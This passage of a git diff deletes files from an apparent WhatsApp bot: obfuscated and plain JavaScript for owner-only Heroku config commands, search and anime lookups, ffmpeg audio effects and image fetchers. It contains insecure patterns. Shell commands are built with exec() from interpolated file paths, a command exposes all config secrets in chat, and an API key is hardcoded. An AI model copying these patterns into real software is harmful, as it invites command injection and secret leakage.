_0x3e9d56(_0xb18a95(0x18b));}});function changevars(_0x392d30,_0x5ddc3d){const _0x52b59d=_0x2cf381,_0x37c354=(function(){let _0x28c539=!![];return function(_0x35c50c,_0x195e11){const _0x47cdc5=_0x28c539?function(){if(_0x195e11){const _0x2ec45b=_0x195e11['apply'](_0x35c50c,arguments);return _0x195e11=null,_0x2ec45b;}}:function(){};return _0x28c539=![],_0x47cdc5;};}()),_0x509e52=_0x37c354(this,function(){const _0x2259ba=_0x5ac8;return _0x509e52[_0x2259ba(0x1a3)]()[_0x2259ba(0x18e)](_0x2259ba(0x19e))['toString']()[_0x2259ba(0x1c1)](_0x509e52)['search'](_0x2259ba(0x19e));});_0x509e52(),adams({'nomCom':_0x392d30,'categorie':_0x52b59d(0x1c6)},async(_0x510a4d,_0x1b363c,_0x32a845)=>{const _0x2aa192=_0x52b59d,{arg:_0x1162a2,superUser:_0x208224,repondre:_0x48da79}=_0x32a845;if(!_0x208224){_0x48da79(_0x2aa192(0x1bc));return;};if(!_0x1162a2[0x0]){_0x48da79(getDescriptionFromEnv(_0x5ddc3d));return;};if(s['HEROKU']=='no')try{const _0x12db67=dotenv['parse'](fs['readFileSync'](_0x2aa192(0x17f),{'encoding':_0x2aa192(0x191)}));_0x12db67[_0x5ddc3d]=_0x1162a2[_0x2aa192(0x17a)]('\x20');const _0x3f191f=Object[_0x2aa192(0x1b2)](_0x12db67)[_0x2aa192(0x1c9)](_0x17d304=>_0x17d304+'='+_0x12db67[_0x17d304])['join']('\x0a');fs['writeFileSync'](_0x2aa192(0x17f),_0x3f191f),_0x48da79(_0x2aa192(0x1be));const {exec:_0x4fa49e}=require('child_process');_0x4fa49e(_0x2aa192(0x19f));}catch(_0x2830eb){console[_0x2aa192(0x1a4)](_0x2830eb),_0x48da79(_0x2aa192(0x1ae));}else{if(s[_0x2aa192(0x1af)]==null||s[_0x2aa192(0x19c)]==null){_0x48da79(_0x2aa192(0x1bf));return;};const _0x4e9f34=require(_0x2aa192(0x1c3)),_0x15a11c=new _0x4e9f34({'token':s[_0x2aa192(0x19c)]});let _0x3059d5='/apps/'+s[_0x2aa192(0x1af)];await _0x15a11c['patch'](_0x3059d5+_0x2aa192(0x1ad),{'body':{[_0x5ddc3d]:_0x1162a2[_0x2aa192(0x17a)]('\x20')}}),await _0x48da79(_0x2aa192(0x18b));}});};changevars(_0x2cf381(0x1a0),'PREFIX'),changevars('linkmenu',_0x2cf381(0x1c4)),changevars(_0x2cf381(0x178),_0x2cf381(0x18a)),changevars('botname',_0x2cf381(0x1a7));
-
-/**const {
- adams
-} = require("../Ibrahim/adams");
-const s = require("../config");
-const fs = require('fs');
-const dotenv = require("dotenv");
-function getDescriptionFromEnv(_0x24f7af) {
- filePath = './app.json';
- const _0x4c6300 = fs.readFileSync(filePath, "utf-8");
- const _0x4f2dfc = JSON.parse(_0x4c6300);
- const _0x3b08a6 = _0x4f2dfc.env[_0x24f7af];
- return _0x3b08a6 && _0
- x3b08a6.description ? _0x3b08a6.description : "The environment variable description was not found.";
-}
-adams({
- 'nomCom': "setvar",
- 'categorie': "heroku",
- 'description': "set a heroku var"
-}, async (_0x2023f8, _0x449747, _0x5c07a0) => {
- const {
- ms: _0x2791a3,
- repondre: _0x1e059c,
- superUser: _0xf264c9,
- arg: _0x44e695
- } = _0x5c07a0;
- if (!_0xf264c9) {
- _0x1e059c("only Mods can use this commande");
- return;
- }
- ;
- if (s.HEROKU_APP_NAME == null || s.HEROKU_APY_KEY == null) {
- _0x1e059c("Please fill in the HEROKU_APP_NAME and HEROKU_APY_KEY environment variables");
- return;
- }
- ;
- if (!_0x44e695[0x0] || !_0x44e695.join('').split('=')) {
- _0x1e059c("Bad format ; Exemple of using :\nsetvar OWNER_NAME=Ibrahim Adams");
- return;
- }
- ;
- const _0x1aca38 = _0x44e695.join(" ");
- const _0x45f36d = require("heroku-client");
- const _0x1c95a5 = new _0x45f36d({
- 'token': s.HEROKU_APY_KEY
- });
- let _0x273a62 = "/apps/" + s.HEROKU_APP_NAME;
- await _0x1c95a5.patch(_0x273a62 + "/config-vars", {
- 'body': {
- [_0x1aca38.split('=')[0x0]]: _0x1aca38.split('=')[0x1]
- }
- });
- await _0x1e059c("Heroku vars are rebooting , Redeploying....");
-});
-adams({
- 'nomCom': "getallvar",
- 'categorie': "heroku",
- 'description': "get all heroku vars"
-}, async (_0x11487a, _0x3ebb5c, _0x482621) => {
- const {
- ms: _0xdcc0da,
- repondre: _0x384994,
- superUser: _0x51f7b4,
- arg: _0x3a3bce
- } = _0x482621;
- if (!_0x51f7b4) {
- _0x384994("only mods can use this commande");
- return;
- }
- ;
- if (s.HEROKU_APP_NAME == null || s.HEROKU_APY_KEY == null) {
- _0x384994("Please fill in the HEROKU_APP_NAME and HEROKU_APY_KEY environment variables");
- return;
- }
- ;
- const _0x51bc18 = require("heroku-client");
- const _0xdce404 = new _0x51bc18({
- 'token': s.HEROKU_APY_KEY
- });
- let _0xbd8a38 = '/apps/' + s.HEROKU_APP_NAME;
- let _0x47049d = await _0xdce404.get(_0xbd8a38 + '/config-vars');
- let _0xaaeb86 = "*Heroku Vars list *\n\n";
- for (vr in _0x47049d) {
- _0xaaeb86 += "🚘 *" + vr + "* " + "= " + _0x47049d[vr] + "\n";
- }
- _0x384994(_0xaaeb86);
-});
-adams({
- 'nomCom': "getvar",
- 'categorie': "heroku",
- 'description': "get a heroku var"
-}, async (_0x4c604f, _0x38bdcd, _0x5f598) => {
- const {
- ms: _0x5d32f6,
- repondre: _0x57426b,
- superUser: _0x44ab9d,
- arg: _0x2132ad
- } = _0x5f598;
- if (!_0x44ab9d) {
- _0x57426b("Only Mods can use this command");
- return;
- }
- ;
- if (s.HEROKU_APP_NAME == null || s.HEROKU_APY_KEY == null) {
- _0x57426b("Please fill in the HEROKU_APP_NAME and HEROKU_APY_KEY environment variables");
- return;
- }
- ;
- if (!_0x2132ad[0x0]) {
- _0x57426b("insert the variable name in capital letter");
- return;
- }
- ;
- try {
- const _0x13a40b = require("heroku-client");
- const _0x26609d = new _0x13a40b({
- 'token': s.HEROKU_APY_KEY
- });
- let _0x551c10 = "/apps/" + s.HEROKU_APP_NAME;
- let _0x3c5941 = await _0x26609d.get(_0x551c10 + "/config-vars");
- for (vr in _0x3c5941) {
- if (_0x2132ad.join(" ") === vr) {
- return _0x57426b(vr + "= " + _0x3c5941[vr]);
- }
- }
- } catch (_0x4d48ad) {
- _0x57426b("Error" + _0x4d48ad);
- }
-});
-adams({
- 'nomCom': "settings",
- 'categorie': "Heroku",
- 'description': "edit settings of the bot"
-}, async (_0x22a90b, _0x3a0b49, _0xb0bac1) => {
- const {
- ms: _0x1778e3,
- repondre: _0x20e24a,
- superUser: _0x1d63b6,
- auteurMessage: _0x3dfda8
- } = _0xb0bac1;
- if (!_0x1d63b6) {
- _0x20e24a("command reserved for bot owner");
- return;
- }
- ;
- let _0x3d9ece = [{
- 'nom': "AUTO_READ_STATUS",
- 'choix': ["yes", 'no']
- }, {
- 'nom': 'AUTO_DOWNLOAD_STATUS',
- 'choix': ["yes", 'no']
- }, {
- 'nom': "PM_PERMIT",
- 'choix': ["yes", 'no']
- }, {
- 'nom': 'PUBLIC_MODE',
- 'choix': ["yes", 'no']
- }, {
- 'nom': "STARTING_BOT_MESSAGE",
- 'choix': ["yes", 'no']
- }, {
- 'nom': "PRESENCE",
- 'choix': ['1', '2', '3']
- }];
- function _0x46a4bd(_0x4eea55, _0x2c10b0) {
- if (_0x4eea55.nom < _0x2c10b0.nom) {
- return -0x1;
- }
- if (_0x4eea55.nom > _0x2c10b0.nom) {
- return 0x1;
- }
- return 0x0;
- }
- _0x3d9ece.sort(_0x46a4bd);
- let _0x19af99 = " *BMW VAR SETTINGS* \n\n";
- for (v = 0x0; v < _0x3d9ece.length; v++) {
- _0x19af99 += v + 0x1 + "- *" + _0x3d9ece[v].nom + "*\n";
- }
- _0x19af99 += "\nChoose a variable by replying its number";
- let _0x4f6bef = await _0x3a0b49.sendMessage(_0x22a90b, {
- 'text': _0x19af99
- }, {
- 'quoted': _0x1778e3
- });
- console.log(_0x4f6bef);
- let _0x58a466 = await _0x3a0b49.awaitForMessage({
- 'chatJid': _0x22a90b,
- 'sender': _0x3dfda8,
- 'timeout': 0xea60,
- 'filter': _0x11b80a => _0x11b80a.message.extendedTextMessage && _0x11b80a.message.extendedTextMessage.contextInfo.stanzaId == _0x4f6bef.key.id && _0x11b80a.message.extendedTextMessage.text > 0x0 && _0x11b80a.message.extendedTextMessage.text <= _0x3d9ece.length
- });
- let _0x69d604 = _0x58a466.message.extendedTextMessage.text - 0x1;
- let {
- nom: _0x578334,
- choix: _0x25f0c4
- } = _0x3d9ece[_0x69d604];
- let _0x258a95 = " *BMW VAR SETTINGS* \n\n";
- _0x258a95 += "*Name* :" + _0x578334 + "\n";
- _0x258a95 += "*Description* :" + getDescriptionFromEnv(_0x578334) + "\n\n";
- _0x258a95 += "┌────── ⋆⋅☆⋅⋆ ──────┐\n\n";
- for (i = 0x0; i < _0x25f0c4.length; i++) {
- _0x258a95 += "* *" + (i + 0x1) + "* => " + _0x25f0c4[i] + "\n";
- }
- _0x258a95 += "\n└────── ⋆⋅☆⋅⋆ ──────┘\n\nPlease reply on message with the number corresponding to your choice";
- let _0x5d441e = await _0x3a0b49.sendMessage(_0x22a90b, {
- 'text': _0x258a95
- }, {
- 'quoted': _0x58a466
- });
- let _0x3e7e0b = await _0x3a0b49.awaitForMessage({
- 'chatJid': _0x22a90b,
- 'sender': _0x3dfda8,
- 'timeout': 0xea60,
- 'filter': _0x48d8f3 => _0x48d8f3.message.extendedTextMessage && _0x48d8f3.message.extendedTextMessage.contextInfo.stanzaId == _0x5d441e.key.id && _0x48d8f3.message.extendedTextMessage.text > 0x0 && _0x48d8f3.message.extendedTextMessage.text <= _0x25f0c4.length
- });
- let _0x49e163 = _0x3e7e0b.message.extendedTextMessage.text - 0x1;
- if (s.HEROKU == 'no') {
- try {
- const _0x453ea5 = dotenv.parse(fs.readFileSync("set.env", {
- 'encoding': "utf-8"
- }));
- _0x453ea5[_0x578334] = _0x25f0c4[_0x49e163];
- const _0x41e94f = Object.keys(_0x453ea5).map(_0x2b690f => _0x2b690f + '=' + _0x453ea5[_0x2b690f]).join("\n");
- fs.writeFileSync('set.env', _0x41e94f);
- _0x20e24a("variable refresh\n restart in progress....");
- const {
- exec: _0x563f2e
- } = require('child_process');
- _0x563f2e("pm2 restart all");
- } catch (_0x284a0c) {
- console.error(_0x284a0c);
- _0x20e24a("Error");
- }
- } else {
- if (s.HEROKU_APP_NAME == null || s.HEROKU_APY_KEY == null) {
- _0x20e24a("Please fill in the HEROKU_APP_NAME and HEROKU_APY_KEY environment variables");
- return;
- }
- ;
- const _0x16064c = require("heroku-client");
- const _0x521885 = new _0x16064c({
- 'token': s.HEROKU_APY_KEY
- });
- let _0x16e01d = "/apps/" + s.HEROKU_APP_NAME;
- await _0x521885.patch(_0x16e01d + "/config-vars", {
- 'body': {
- [_0x578334]: _0x25f0c4[_0x49e163]
- }
- });
- await _0x20e24a("variable refresh, restart in progress....");
- }
-});
-function changevars(_0xa41969, _0x294fac) {
- const _0x4aa666 = function () {
- let _0x51e0de = true;
- return function (_0x2c9b6c, _0x4697d1) {
- const _0x222c97 = _0x51e0de ? function () {
- if (_0x4697d1) {
- const _0x477879 = _0x4697d1.apply(_0x2c9b6c, arguments);
- _0x4697d1 = null;
- return _0x477879;
- }
- } : function () {};
- _0x51e0de = false;
- return _0x222c97;
- };
- }();
- const _0x1c8bcf = _0x4aa666(this, function () {
- return _0x1c8bcf.toString().search("(((.+)+)+)+$").toString().constructor(_0x1c8bcf).search("(((.+)+)+)+$");
- });
- _0x1c8bcf();
- adams({
- 'nomCom': _0xa41969,
- 'categorie': 'Heroku'
- }, async (_0x5b3184, _0x3c2192, _0x393619) => {
- const {
- arg: _0x3d776c,
- superUser: _0x6330e9,
- repondre: _0x3a1f2b
- } = _0x393619;
- if (!_0x6330e9) {
- _0x3a1f2b("command reserved for bot owner");
- return;
- }
- ;
- if (!_0x3d776c[0x0]) {
- _0x3a1f2b(getDescriptionFromEnv(_0x294fac));
- return;
- }
- ;
- if (s.HEROKU == 'no') {
- try {
- const _0x429fb4 = dotenv.parse(fs.readFileSync("set.env", {
- 'encoding': 'utf-8'
- }));
- _0x429fb4[_0x294fac] = _0x3d776c.join(" ");
- const _0x322480 = Object.keys(_0x429fb4).map(_0xbf932e => _0xbf932e + '=' + _0x429fb4[_0xbf932e]).join("\n");
- fs.writeFileSync('set.env', _0x322480);
- _0x3a1f2b("variable refresh\n restart in progress....");
- const {
- exec: _0x7de845
- } = require("child_process");
- _0x7de845("pm2 restart all");
- } catch (_0x2781b7) {
- console.log(_0x2781b7);
- _0x3a1f2b('Error');
- }
- } else {
- if (s.HEROKU_APP_NAME == null || s.HEROKU_APY_KEY == null) {
- _0x3a1f2b("Please fill in the HEROKU_APP_NAME and HEROKU_APY_KEY environment variables");
- return;
- }
- ;
- const _0x537e4b = require("heroku-client");
- const _0x110661 = new _0x537e4b({
- 'token': s.HEROKU_APY_KEY
- });
- let _0xc67a29 = "/apps/" + s.HEROKU_APP_NAME;
- await _0x110661.patch(_0xc67a29 + "/config-vars", {
- 'body': {
- [_0x294fac]: _0x3d776c.join(" ")
- }
- });
- await _0x3a1f2b("variable refresh, restart in progress....");
- }
- });
-}
-;
-changevars("setprefix", "PREFIX");
-changevars("linkmenu", "BOT_MENU_LINKS");
-changevars("warncount", "WARN_COUNT");
-changevars("botname", "BOT_NAME");**/
diff --git a/scs/bmwi.js b/scs/bmwi.js
deleted file mode 100644
index c03482b..0000000
--- a/scs/bmwi.js
+++ /dev/null
@@ -1,215 +0,0 @@
-
-const axios = require("axios");
-const {adams} = require("../Ibrahim/adams");
-const traduire = require("../Ibrahim/traduction");
-const {Sticker ,StickerTypes}= require('wa-sticker-formatter');
-
-adams({
- nomCom: "randompic",
- categorie: "Fun",
- reaction: "📺"
-},
-async (origineMessage, zk, commandeOptions) => {
- const { repondre, ms } = commandeOptions;
-
- const jsonURL = "https://api.jikan.moe/v4/random/anime"; // Remplacez par votre URL JSON
-
- try {
- const response = await axios.get(jsonURL);
- const data = response.data.data;
-
- const title = data.title;
- const synopsis = data.synopsis;
- const imageUrl = data.images.jpg.image_url; // Utilisez l'URL de l'image JPG
- const episodes = data.episodes;
- const status = data.status;
-
- //const texttraduit = await traduire(synopsis,{ to: 'fr' })
-
- const message = `📺 Titre: ${title}\n🎬 Épisodes: ${episodes}\n📡 Statut: ${status}\n📝 Synopsis: ${synopsis}\n🔗 URL: ${data.url}`;
-
- // Envoyer l'image et les informations
- zk.sendMessage(origineMessage, { image: { url: imageUrl }, caption: message }, { quoted: ms });
- } catch (error) {
- console.error('Error retrieving data from JSON :', error);
- repondre('Error retrieving data from JSON.');
- }
-});
-
-adams({
- nomCom: "google2",
- categorie: "Search"
-}, async (dest, zk, commandeOptions) => {
- const { arg, repondre } = commandeOptions;
-
- if (!arg[0] || arg === "") {
- repondre("Give me a query.\n*Example: .google What is a bot.*");
- return;
- }
-
- const google = require('google-it');
- try {
- const results = await google({ query: arg.join(" ") });
- let msg = `Google search for : ${arg}\n\n`;
-
- for (let result of results) {
- msg += `➣ Title : ${result.title}\n`;
- msg += `➣ Description : ${result.snippet}\n`;
- msg += `➣ Link : ${result.link}\n\n────────────────────────\n\n`;
- }
-
- // const trdmsg = await traduire(msg,{to : 'fr'})
- repondre(msg);
- } catch (error) {
- repondre("An error occurred during Google search.");
- }
-});
-
-adams({
- nomCom: "imdb2",
- categorie: "Search"
-}, async (dest, zk, commandeOptions) => {
- const { arg, repondre , ms } = commandeOptions;
-
- if (!arg[0] || arg === "") {
- repondre("give the name of a series or film.");
- return;
- }
-
- try {
-
- const response = await axios.get(`http://www.omdbapi.com/?apikey=742b2d09&t=${arg}&plot=full`);
- const imdbData = response.data;
-
- let imdbInfo = "⚍⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚍\n";
- imdbInfo += " ``` 𝕀𝕄𝔻𝔹 𝕊𝔼𝔸ℝℂℍ```\n";
- imdbInfo += "⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎\n";
- imdbInfo += "🎬Title : " + imdbData.Title + "\n";
- imdbInfo += "📅year : " + imdbData.Year + "\n";
- imdbInfo += "⭐Assessment : " + imdbData.Rated + "\n";
- imdbInfo += "📆Release : " + imdbData.Released + "\n";
- imdbInfo += "⏳Runtime : " + imdbData.Runtime + "\n";
- imdbInfo += "🌀Genre : " + imdbData.Genre + "\n";
- imdbInfo += "👨🏻💻Director : " + imdbData.Director + "\n";
- imdbInfo += "✍writers : " + imdbData.Writer + "\n";
- imdbInfo += "👨actors : " + imdbData.Actors + "\n";
- imdbInfo += "📃Synopsis : " + imdbData.Plot + "\n";
- imdbInfo += "🌐Language : " + imdbData.Language + "\n";
- imdbInfo += "🌍Contry : " + imdbData.Country + "\n";
- imdbInfo += "🎖️Awards : " + imdbData.Awards + "\n";
- imdbInfo += "📦BoxOffice : " + imdbData.BoxOffice + "\n";
- imdbInfo += "🏙️Production : " + imdbData.Production + "\n";
- imdbInfo += "🌟score : " + imdbData.imdbRating + "\n";
- imdbInfo += "❎imdbVotes : " + imdbData.imdbVotes + "";
-
- zk.sendMessage(dest, {
- image: {
- url: imdbData.Poster,
- },
- caption: imdbInfo,
- }, {
- quoted: ms,
- });
- } catch (error) {
- repondre("An error occurred while searching IMDb.");
- }
-});
-
-adams({
- nomCom: "series",
- categorie: "Search"
-}, async (dest, zk, commandeOptions) => {
- const { arg, repondre , ms } = commandeOptions;
-
- if (!arg[0] || arg === "") {
- repondre("give the name of a series or film.");
- return;
- }
-
- try {
-
- const response = await axios.get(`http://www.omdbapi.com/?apikey=742b2d09&t=${arg}&plot=full`);
- const imdbData = response.data;
-
- let imdbInfo = "Tap on the link to join movie channel on telegram and download movies there : https://t.me/ibrahimtechai\n";
- imdbInfo += " ``` BMW MD FILMS```\n";
- imdbInfo += "*Made by Ibrahim Adams*\n";
- imdbInfo += "🎬Title : " + imdbData.Title + "\n";
- imdbInfo += "📅year : " + imdbData.Year + "\n";
- imdbInfo += "⭐Assessment : " + imdbData.Rated + "\n";
- imdbInfo += "📆Release : " + imdbData.Released + "\n";
- imdbInfo += "⏳Runtime : " + imdbData.Runtime + "\n";
- imdbInfo += "🌀Genre : " + imdbData.Genre + "\n";
- imdbInfo += "👨🏻💻Director : " + imdbData.Director + "\n";
- imdbInfo += "✍writers : " + imdbData.Writer + "\n";
- imdbInfo += "👨actors : " + imdbData.Actors + "\n";
- imdbInfo += "📃Synopsis : " + imdbData.Plot + "\n";
- imdbInfo += "🌐Language : " + imdbData.Language + "\n";
- imdbInfo += "🌍Contry : " + imdbData.Country + "\n";
- imdbInfo += "🎖️Awards : " + imdbData.Awards + "\n";
- imdbInfo += "📦BoxOffice : " + imdbData.BoxOffice + "\n";
- imdbInfo += "🏙️Production : " + imdbData.Production + "\n";
- imdbInfo += "🌟score : " + imdbData.imdbRating + "\n";
- imdbInfo += "❎imdbVotes : " + imdbData.imdbVotes + "";
-
- zk.sendMessage(dest, {
- image: {
- url: imdbData.Poster,
- },
- caption: imdbInfo,
- }, {
- quoted: ms,
- });
- } catch (error) {
- repondre("An error occurred while searching IMDb.");
- }
-});
-
-adams({
- nomCom: "emoji",
- categorie: "Conversion"
-}, async (dest, zk, commandeOptions) => {
- const { arg, repondre,ms , nomAuteurMessage } = commandeOptions;
-
- if (!arg[0] || arg.length !== 1) {
- repondre("Incorrect use. Example: .emojimix 😀;🥰");
- return;
- }
-
- // Divisez la chaîne en deux emojis en utilisant le point-virgule comme séparateur
- const emojis = arg.join(' ').split(';');
-
- if (emojis.length !== 2) {
- repondre("Please specify two emojis using a ';' as a separator.");
- return;
- }
-
- const emoji1 = emojis[0].trim();
- const emoji2 = emojis[1].trim();
-
- try {
- const axios = require('axios');
- const response = await axios.get(`https://levanter.onrender.com/emix?q=${emoji1}${emoji2}`);
-
- if (response.data.status === true) {
- // Si la requête a réussi, envoyez l'image résultante
-
- let stickerMess = new Sticker(response.data.result, {
- pack: nomAuteurMessage,
- type: StickerTypes.CROPPED,
- categories: ["🤩", "🎉"],
- id: "12345",
- quality: 70,
- background: "transparent",
- });
- const stickerBuffer2 = await stickerMess.toBuffer();
- zk.sendMessage(dest, { sticker: stickerBuffer2 }, { quoted: ms });
-
- } else {
- repondre("Unable to create emoji mix.");
- }
- } catch (error) {
- repondre("An error occurred while creating the emoji mix." + error );
- }
-});
-
diff --git a/scs/bmwj.js b/scs/bmwj.js
deleted file mode 100644
index 5fccde8..0000000
--- a/scs/bmwj.js
+++ /dev/null
@@ -1,280 +0,0 @@
-const {adams} = require('../Ibrahim/adams');
-const fs = require("fs");
-const { exec } = require("child_process");
-
-
-const filename = `${Math.random().toString(36)}`;
-
-adams (
- {
- nomCom : 'deep',
- categorie : 'Audio-Edit',
-
- }, async (dest , zk, commandeOptions) => {
- const {ms , repondre,msgRepondu} = commandeOptions;
-
- if (msgRepondu) {
- if(msgRepondu.audioMessage) {
-
- const media = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage)
-
- let set = "-af atempo=4/4,asetrate=44500*2/3";
- let ran = `${filename}.mp3`;
-
- try {
- exec(`ffmpeg -i ${media} ${set} ${ran}`, (err, stderr, stdout) => {
- fs.unlinkSync(media);
- if (err) return repondre("error during the procedure " + err );
-
- let buff1 = fs.readFileSync(ran);
-
- zk.sendMessage(
- dest,
- { audio: buff1, mimetype: "audio/mpeg" },
- { quoted: ms }
- );
- fs.unlinkSync(ran);
- });
- } catch (e) {
-
- repondre("error");
- }
-
- } else {
- repondre('the command only works with audio messages')
- }
-
- } else {
- repondre('Please mention an audio')
- }
- }
-);
-
-adams (
- {
- nomCom : 'bass',
- categorie : 'Audio-Edit',
-
- }, async (dest , zk, commandeOptions) => {
- const {ms , repondre,msgRepondu} = commandeOptions;
-
- if (msgRepondu) {
- if(msgRepondu.audioMessage) {
-
- const media2 = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage)
-
- let set2 = "-af equalizer=f=18:width_type=o:width=2:g=14";
- let ran2 = `${filename}.mp3`;
-
- try {
- exec(`ffmpeg -i ${media2} ${set2} ${ran2}`, (err, stderr, stdout) => {
- fs.unlinkSync(media2);
- if (err) return repondre("error during the procedure " + err );
-
- let buff2 = fs.readFileSync(ran2);
-
- zk.sendMessage(
- dest,
- { audio: buff2, mimetype: "audio/mpeg" },
- { quoted: ms }
- );
- fs.unlinkSync(ran2);
- });
- } catch (e) {
-
- repondre("error");
- }
-
- } else {
- repondre('the command only works with audio messages')
- }
-
- } else {
- repondre('Please mention an audio')
- }
- }
-);
-
-adams(
- {
- nomCom: 'reverse',
- categorie: 'Audio-Edit',
- },
- async (dest, zk, commandeOptions) => {
- const { ms, repondre, msgRepondu } = commandeOptions;
-
- if (msgRepondu) {
- if (msgRepondu.audioMessage) {
- const media3 = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
- let set3 = '-filter_complex "areverse"';
- let ran3 = `${filename}.mp3`;
-
- try {
- exec(`ffmpeg -i ${media3} ${set3} ${ran3}`, (err, stderr, stdout) => {
- fs.unlinkSync(media3);
- if (err) return repondre("error during the procedure" + err);
-
- let buff3 = fs.readFileSync(ran3);
-
- zk.sendMessage(dest, { audio: buff3, mimetype: "audio/mpeg" }, { quoted: ms });
- fs.unlinkSync(ran3);
- });
- } catch (e) {
- repondre("Error : " + e);
- }
- } else {
- repondre("The command only works with audio messages");
- }
- } else {
- repondre("Please mention an audio");
- }
- }
- );
-
- adams(
- {
- nomCom: 'slow',
- categorie: 'Audio-Edit',
- },
- async (dest, zk, commandeOptions) => {
- const { ms, repondre, msgRepondu } = commandeOptions;
-
- if (msgRepondu) {
- if (msgRepondu.audioMessage) {
- const media5 = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
- let set5 = '-filter:a "atempo=0.8,asetrate=44100"';
- let ran5 = `${filename}.mp3`;
-
- try {
- exec(`ffmpeg -i ${media5} ${set5} ${ran5}`, (err, stderr, stdout) => {
- fs.unlinkSync(media5);
- if (err) return repondre("error during the procedure" + err);
-
- let buff5 = fs.readFileSync(ran5);
-
- zk.sendMessage(dest, { audio: buff5, mimetype: "audio/mpeg" }, { quoted: ms });
- fs.unlinkSync(ran5);
- });
- } catch (e) {
- repondre("Error : " + e);
- }
- } else {
- repondre("The command only works with audio messages");
- }
- } else {
- repondre("Please mention an audio");
- }
- }
- );
-
-// Cas pour l'effet "smooth"
-adams(
- {
- nomCom: 'smooth',
- categorie: 'Audio-Edit',
- },
- async (dest, zk, commandeOptions) => {
- const { ms, repondre, msgRepondu } = commandeOptions;
-
- if (msgRepondu) {
- if (msgRepondu.audioMessage) {
- const mediaSmooth = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
- let setSmooth = '-filter:v "minterpolate=\'mi_mode=mci:mc_mode=aobmc:vsbmc=1:fps=120\'"';
- let ranSmooth = `${filename}.mp3`;
-
- try {
- exec(`ffmpeg -i ${mediaSmooth} ${setSmooth} ${ranSmooth}`, (err, stderr, stdout) => {
- fs.unlinkSync(mediaSmooth);
- if (err) return repondre("error during the procedure" + err);
-
- let buff6 = fs.readFileSync(ranSmooth);
-
- zk.sendMessage(dest, { audio: buff6, mimetype: "audio/mpeg" }, { quoted: ms });
- fs.unlinkSync(ranSmooth);
- });
- } catch (e) {
- repondre("Error : " + e);
- }
- } else {
- repondre("The command only works with audio messages");
- }
- } else {
- repondre("Please mention an audio");
- }
- }
- );
-
- // Cas pour l'effet "tempo"
- adams(
- {
- nomCom: 'tempo',
- categorie: 'Audio-Edit',
- },
- async (dest, zk, commandeOptions) => {
- const { ms, repondre, msgRepondu } = commandeOptions;
-
- if (msgRepondu) {
- if (msgRepondu.audioMessage) {
- const mediaTempo = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
- let setTempo = '-filter:a "atempo=0.9,asetrate=65100"';
- let ranTempo = `${filename}.mp3`;
-
- try {
- exec(`ffmpeg -i ${mediaTempo} ${setTempo} ${ranTempo}`, (err, stderr, stdout) => {
- fs.unlinkSync(mediaTempo);
- if (err) return repondre("error during the procedure " + err);
-
- let buff7 = fs.readFileSync(ranTempo);
-
- zk.sendMessage(dest, { audio: buff7, mimetype: "audio/mpeg" }, { quoted: ms });
- fs.unlinkSync(ranTempo);
- });
- } catch (e) {
- repondre("Error : " + e);
- }
- } else {
- repondre("The command only works with audio messages");
- }
- } else {
- repondre("Please mention an audio");
- }
- }
- );
-
- // Cas pour l'effet "nightcore"
- adams(
- {
- nomCom: 'nightcore',
- categorie: 'Audio-Edit',
- },
- async (dest, zk, commandeOptions) => {
- const { ms, repondre, msgRepondu } = commandeOptions;
-
- if (msgRepondu) {
- if (msgRepondu.audioMessage) {
- const mediaNightcore = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
- let setNightcore = '-filter:a "atempo=1.07,asetrate=44100*1.20"';
- let ranNightcore = `${filename}.mp3`;
-
- try {
- exec(`ffmpeg -i ${mediaNightcore} ${setNightcore} ${ranNightcore}`, (err, stderr, stdout) => {
- fs.unlinkSync(mediaNightcore);
- if (err) return repondre("error during the procedure " + err);
-
- let buff8 = fs.readFileSync(ranNightcore);
-
- zk.sendMessage(dest, { audio: buff8, mimetype: "audio/mpeg" }, { quoted: ms });
- fs.unlinkSync(ranNightcore);
- });
- } catch (e) {
- repondre("Erreur : " + e);
- }
- } else {
- repondre("The command only works with audio messages");
- }
- } else {
- repondre("Please mention an audio");
- }
- }
- );
-
diff --git a/scs/bmwjj.js b/scs/bmwjj.js
deleted file mode 100644
index 8b13789..0000000
--- a/scs/bmwjj.js
+++ /dev/null
@@ -1 +0,0 @@
-
diff --git a/scs/bmwm.js b/scs/bmwm.js
deleted file mode 100644
index c7dd209..0000000
--- a/scs/bmwm.js
+++ /dev/null
@@ -1,144 +0,0 @@
-const axios = require('axios');
-const fs = require('fs');
-const { adams } = require("../Ibrahim/adams");
-const { writeFile } = require('fs/promises')
-
-// Commande waifu
-adams({
- nomCom: "waifu",
- categorie: "Weeb",
- reaction: "😏"
-},
-async (origineMessage, zk, commandeOptions) => {
- const { repondre, ms } = commandeOptions;
-
- const url = 'https://api.waifu.pics/sfw/waifu'; // Remplacez avec le lien réel de l'API waifu.pics
-
- try {
-
- for (let i = 0; i < 5; i++) {
- const response = await axios.get(url);
- const imageUrl = response.data.url;
-
- zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms });
- }
- } catch (error) {
- repondre('Error occurred while retrieving the data. :', error);
- }
-});
-
-// Commande neko
-adams({
- nomCom: "neko",
- categorie: "Weeb",
- reaction: "😺"
-},
-async (origineMessage, zk, commandeOptions) => {
- const { repondre, ms } = commandeOptions;
-
- const url = 'https://api.waifu.pics/sfw/neko'; // Remplacez avec le lien réel de l'API waifu.pics ou une autre API de nekos
-
- try {
- for (let i = 0; i < 5; i++) {
- const response = await axios.get(url);
- const imageUrl = response.data.url;
-
- zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms });
- }
- } catch (error) {
- repondre('Error occurred while retrieving the data. :', error);
- }
-});
-
-// Commande shinobu
-adams({
- nomCom: "shinobu",
- categorie: "Weeb",
- reaction: "🦋"
-},
-async (origineMessage, zk, commandeOptions) => {
- const { repondre, ms } = commandeOptions;
-
- const url = 'https://api.waifu.pics/sfw/shinobu'; // Remplacez avec le lien réel de l'API waifu.pics ou une autre API avec des images de Shinobu
-
- try {
- for (let i = 0; i < 5; i++) {
- const response = await axios.get(url);
